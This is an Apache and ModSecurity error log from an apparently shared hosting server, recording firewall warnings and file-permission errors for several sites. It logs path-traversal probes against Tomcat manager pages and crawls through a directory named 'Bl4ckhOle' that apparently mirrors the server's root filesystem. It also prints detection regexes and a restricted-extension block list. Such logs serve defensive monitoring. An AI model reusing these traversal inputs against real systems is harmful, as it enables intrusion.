[Fri Jul 17 08:59:25.806217 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.109.103.43:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /eiwksfvhie/../manager/html"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "jrdc.lk"] [uri "/eiwksfvhie/..;/manager/html"] [unique_id "almhlbEWOaI5pmYo9fnPhwAAAAA"]
[Fri Jul 17 08:59:25.806496 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/eiwksfvhie/..;/manager/html"] [unique_id "almhlbEWOaI5pmYo9fnPhwAAAAA"]
[Fri Jul 17 08:59:25.806814 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almhlbEWOaI5pmYo9fnPhwAAAAA"]
[Fri Jul 17 08:59:26.355247 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.109.103.43:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /eiwksfvhie/../host-manager/html"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "jrdc.lk"] [uri "/eiwksfvhie/..;/host-manager/html"] [unique_id "almhlujME1mgqYZ5O94m7gAAAAE"]
[Fri Jul 17 08:59:26.355549 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdc.lk"] [uri "/eiwksfvhie/..;/host-manager/html"] [unique_id "almhlujME1mgqYZ5O94m7gAAAAE"]
[Fri Jul 17 08:59:26.355923 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.109.103.43:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almhlujME1mgqYZ5O94m7gAAAAE"]
[Fri Jul 17 08:59:27.707637 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:52610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:30.020373 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:52660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:30.767915 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 57.141.18.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory62/subsystem/devices/memory71/subsystem/devices/memory61/node0/memory14/subsystem/uevent
[Fri Jul 17 08:59:33.591033 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:45928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:34.211830 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:45952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:34.689899 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:45972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:34.971261 2026] [security2:error] [pid 2018768:tid 2018768] [client 124.43.207.122:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/jquery.fancybox-media.js"] [unique_id "almhnlCBpfuYyhJ140vTdQAAAB4"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:59:34.971299 2026] [security2:error] [pid 2018768:tid 2018768] [client 124.43.207.122:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/jquery.fancybox-media.js"] [unique_id "almhnlCBpfuYyhJ140vTdQAAAB4"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 08:59:35.843160 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:36.635586 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhoEkXT4NBqALj2lZ9iwAAABA"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:59:36.635653 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhoEkXT4NBqALj2lZ9iwAAABA"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:59:37.049864 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almhoY1dLClkUfK_dfHlswAAAAI"]
[Fri Jul 17 08:59:37.050256 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almhoY1dLClkUfK_dfHlswAAAAI"]
[Fri Jul 17 08:59:37.050586 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almhoY1dLClkUfK_dfHlswAAAAI"]
[Fri Jul 17 08:59:37.614918 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:39.864094 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:39.936091 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:0a/eject
[Fri Jul 17 08:59:40.162092 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:09/eject
[Fri Jul 17 08:59:40.164909 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:46250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:40.253118 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:40.662119 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:40.719776 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:40.916859 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.037282 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:46296] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:41.174872 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198115 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198212 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198249 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198281 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198310 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198341 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198371 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198414 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198444 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198473 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198502 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198531 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198559 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198587 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198629 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198666 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198695 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.198723 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.217010 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.274427 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.312206 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.451930 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:41.627863 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:59:41.654988 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:42.221357 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:59:42.369294 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhpo1dLClkUfK_dfHluAAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:59:42.369412 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhpo1dLClkUfK_dfHluAAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:59:42.791477 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:58734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:43.029405 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhp1CBpfuYyhJ140vTewAAAB4"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:59:43.029652 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhp1CBpfuYyhJ140vTewAAAB4"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:59:44.466885 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhqEkXT4NBqALj2lZ9kAAAABA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:59:44.466916 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhqEkXT4NBqALj2lZ9kAAAABA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:59:44.624906 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:44.691767 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:44.814529 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:0c/eject
[Fri Jul 17 08:59:44.906306 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:44.909722 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:59:45.022194 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhqboj0IkvhSCYadmCaQAAAAQ"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:59:45.022252 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhqboj0IkvhSCYadmCaQAAAAQ"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:59:45.107647 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:45.210561 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:08/eject
[Fri Jul 17 08:59:45.411597 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:45.707068 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:45.720240 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:07/eject
[Fri Jul 17 08:59:45.816148 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:06/eject
[Fri Jul 17 08:59:45.826333 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 47.82.50.226:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:02/physical_node/resource4
[Fri Jul 17 08:59:45.916396 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:1f/eject
[Fri Jul 17 08:59:46.103522 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:46.114992 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:46.123936 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:46.265141 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:46.321549 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:46.422729 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:47.924837 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:47.934018 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.186826 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.210734 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.275700 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.278000 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.314276 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.479476 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.569489 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.53.239:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/ioncube_loader.ini"] [unique_id "almhrI1dLClkUfK_dfHlvgAAAAI"]
[Fri Jul 17 08:59:48.570122 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.53.239:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/ioncube_loader.ini"] [unique_id "almhrI1dLClkUfK_dfHlvgAAAAI"]
